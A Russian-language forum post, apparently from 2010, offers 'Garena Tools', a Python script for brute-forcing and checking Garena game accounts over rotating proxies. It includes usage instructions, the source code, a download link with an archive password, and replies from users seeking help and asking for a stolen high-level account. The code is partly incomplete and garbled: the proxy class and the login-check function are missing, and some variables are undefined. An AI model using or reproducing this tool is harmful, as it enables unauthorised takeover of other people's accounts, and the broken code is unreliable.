Версия: 0.1.
Возможности:
Брут аккаунтов Garena.
Чекер аккаунтов Garena.
Работа через HTTP запросы.
Поддержка HTTP-проксей(опционально).
Описание опций:
brute – режим брутфорса аккаунтов.
check – режим чекера аккаунтов.
-a или –accounts – задаёт расположение файла со списком
аккаунтов.
-с или –count – количество потоков.
-p или –passwords – задаёт расположение файла со списком паролейтов.
-s или –split – задаёт символ разделения между логином и паролем(login;pass).
-f или –fileproxy – задаёт расположение файла со списком прокси.
-o или –out – задаёт расположение файла куда будет сохранен валид.
-d или –dontchec – ели вы не хотите ждать пока скрипт проверить прокси на валидность, используйте эту опцию.
-n или –n_step – при работе программы могут закончится списки с прокси и процесс может оборваться на середине или в конце. Чтобы не начинать с самого начала, после вывода сообщении о нехватки прокси, рядом будет указан шаг где остановился скрипт. Пример: "[!] Proxy is empty! Step stop is 10" – после пополнения списка прокси, задаём шаг с десяти: ./script.py … -n 10
Для работы скрипта требуется Python _http://python.org/download/ Качаем v.2.6.4
UPD:
1. Поправил запись гудов, теперь как положено а не в одну строчку.
2. good.txt не очищается от записей а дополняется.
3. Показан процесс брута.
Инструкция:
Цитата:
1. Распаковываем брут на диск С (или любой другой).
2. Открываем garena_brut.py и настраиваем под себя.
threads=100 - количество потоков
proxy_check=False - чекер прокси False(выключен), True(включен).
split=":" - разделитель (лучше оставить как есть)
Остальное думаю понятно, что акки в фаил accounts.txt и т.д.
3. Заходим Пуск - Выполнить пишем cmd жмём ок и откроется командная строка.
4. Так как брут у нас лежит на диске С в командной строке пишем
cd C:\Garena Brut жмем Enter и мы переключимся в папку Garena Brut (если диск называется по другому пишем свою букву)
5. Далее в командной строке пишем garena_brut.py brute жмем Enter и брут запустится.
Примечание: Если вы закроете брут раньше чем он сам остановится вы останетесь без акков
Исходный код:
Цитата:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#(c) h1z, [Ссылки могут видеть только зарегистрированные пользователи. ]
#Garena Tools v0.1
import sys, urllib, urllib2, re, socket, threading, getopt, datetime
def check_all(self, proxy_list=[], thread_count=10):
if type([])==type(proxy_list) and len(proxy_list)>0:
self._proxy_list=[]
self._proxy_buf=proxy_list
self._thread_count=thread_count
for i in range(thread_count):
thr=threading.Thread(target=self._thread_check, name=str(i))
thr.start();
while (self._thread_count>0):
pass
return self._proxy_list
def _thread_check(self):
while (len(self._proxy_buf)>0):
try:
item=self._proxy_buf.pop()
if self.check(item):
self._proxy_list.append(item)
except:
pass
self._thread_count-=1
def usage():
print """(c) h1z, [Ссылки могут видеть только зарегистрированные пользователи. ]
Usage:
./garena_tool.py [type] [options]
Types:
brute - brutforce garena accounts
check - check for valid accounts
Options:
--accounts - file of accounts[default: accounts.txt]
--count - count of threads[default: 10]
--passwords - file of passwords[default: passwords.txt]
--split - split char[default: ';']
--fileproxy - file of proxy[default: proxy.txt]
--out - set out file[default: stdout]
--dontcheck - don't check all proxy
--n_step - set the step"""
sys.exit(1)
def all_strip(strip):
ret=[]
for i in strip:
ret.append(i.strip())
return ret
def get_proxy():
global p_index
if proxy!=None and len(proxy)>0:
p_index+=1
if p_index>=len(proxy):
p_index=0
return proxy[p_index]
else:
return None
def del_proxy(_proxy):
global proxy
try:
proxy.remove(_proxy)
except ValueError:
pass
def _thread_valid():
global accounts, th_count
while (len(accounts)>0):
try:
_proxy=get_proxy()
if _proxy==None:
ban=True
th_count-=1
return
acc,pwd=accounts.pop().split(split)
_check=False
while _check==False:
try:
chk=garena_check(acc,pwd,_proxy)
_check=True
except urllib2.URLError, urllib2.HTTPError:
del_proxy(_proxy)
_proxy=get_proxy()
if _proxy==None:
ban=True
th_count-=1
return
if chk:
valid.append(acc+split+pwd)
if out=="":
print acc+split+pwd
except:
pass
th_count-=1
def _thread_brute():
global accounts, th_count, passwords, ban
while (len(accounts)>0):
try:
_proxy=get_proxy()
if _proxy==None:
ban=True
th_count-=1
return
acc=accounts.pop()
for pwd in passwords:
_check=False
while not _check:
try:
chk=garena_check(acc,pwd,_proxy)
_check=True
except urllib2.URLError, urllib2.HTTPError:
del_proxy(_proxy)
_proxy=get_proxy()
if _proxy==None:
ban=True
th_count-=1
return
if chk:
valid.append(acc+split+pwd)
if out=="":
print acc+split+pwd
break
except:
pass
th_count-=1
if len(sys.argv)<2 or (sys.argv[1]!="check" and sys.argv[1]!="brute"):
usage()
try:
opts, args=getopt.getopt(sys.argv[2:], "da:c:s:f:n:", ["dontcheck","fileproxy=","accounts=","count=","pas swords=","split=","out=","n_step="])
except getopt.GetoptError:
usage()
for opt, arg in opts:
if opt in ("-a","--accounts"):
accounts=arg
elif opt in ("-c","--count"):
threads=arg
elif opt in ("-p","--passwords"):
passwords=int(arg)
elif opt in ("-s","--split"):
split=arg
elif opt in ("-o","--out"):
out=arg
elif opt in ("-f","--fileproxy"):
proxy=arg
elif opt in ("-d","--dontcheck"):
proxy_check=False
elif opt in ("-n","--n_step"):
step=int(arg)
check_proxy=Proxy()
print "[i] (c) h1z, http://www.mr-h1z.com"
print "[+] Check proxy list"
try:
file=open(proxy,'r')
proxy=file.readlines()
if proxy_check:
proxy=check_proxy.check_all(all_strip(proxy))
file.close()
except:
proxy=None
try:
file=open(accounts,'r')
accounts=all_strip(file.readlines());
file.close()
except IOError:
print "[!] File '"+accounts+"' not found!"
sys.exit(1)
if len(accounts)==0:
print "[!] Accounts file is empty!"
sys.exit(1)
accounts=accounts[step:]
if threads>len(accounts):
threads=len(accounts)
th_count=threads
print "[i] Start",sys.argv[1],"accounts "
if out=="":
print "-"*40
if sys.argv[1]=="check":
for i in range(th_count):
thr=threading.Thread(target=_thread_valid)
thr.start();
else:
try:
file=open(passwords,'r')
passwords=all_strip(file.readlines());
file.close()
except IOError:
print "[!] File '"+passwords+"' not found!"
sys.exit(1)
if len(passwords)==0:
print "[!] Passwords file is empty!"
sys.exit(1)
for i in range(th_count):
thr=threading.Thread(target=_thread_brute)
thr.start();
while (th_count!=0):
pass
if out!="":
file=open(out,'w')
for i in valid:
file.write(i)
file.close()
else:
print "-"*40
print "[i] Stop",sys.argv[1],"..."
print "[i] Script work time:",datetime.datetime.now()-time_work
if ban==True:
print "[!] Proxy is empty! Step stop is", step
else:
print "[i] Number of valid accounts:",len(valid)
СКАЧАТЬ:_http://depositfiles.com/files/x3a5xnagd
ПАРОЛЬ НА АРХИВ:zhyk.ru
Последний раз редактировалось TakeThat; 08.01.2010 в 00:31.
и ещё вопросик. я когда смд ввожу потом с:\гарена брут у меня пишит типо не является внутренней или внешней командой,исполняемой программой или пакетный файлом.ЧЁ ЭЭ ЗНАЧИТ?и как эт исправить?прошу помочь
Добавлено через 2 минуты
кста я с комсомолька)
Последний раз редактировалось владан; 14.01.2010 в 11:37.
Причина: Добавлено сообщение
такс питона установил 2.6.4 с офф сайта,но фрэйм ворк тож есть но сё равно ни в какую не хочет вродь всё правильно делаю (не первый раз с брутом работаю)кста и ты говорил что у тя есть свой приватный брут где ты его взял или сам сделал? (прошу ответить плз на мой вопрос)и не мог ты мне дать свой приватный брут)
ааа я понял всмысле 10 к тоесть 10000 наверн тогда ок спс.И ещё ммммаленькая просьбочка если у тебя брут да ещё приватный да ещё и рабочий не мог бы ты мне дать аккаунт лвл 25 примерно прост надо очень клан создать а у меня то 14 лвл)буду очень благодарен и очень признателен оооочень очень.и ещё где тебе можно поставить + или спасибо
ааа я понял всмысле 10 к тоесть 10000 наверн тогда ок спс.И ещё ммммаленькая просьбочка если у тебя брут да ещё приватный да ещё и рабочий не мог бы ты мне дать аккаунт лвл 25 примерно прост надо очень клан создать а у меня то 14 лвл)буду очень благодарен и очень признателен оооочень очень.и ещё где тебе можно поставить + или спасибо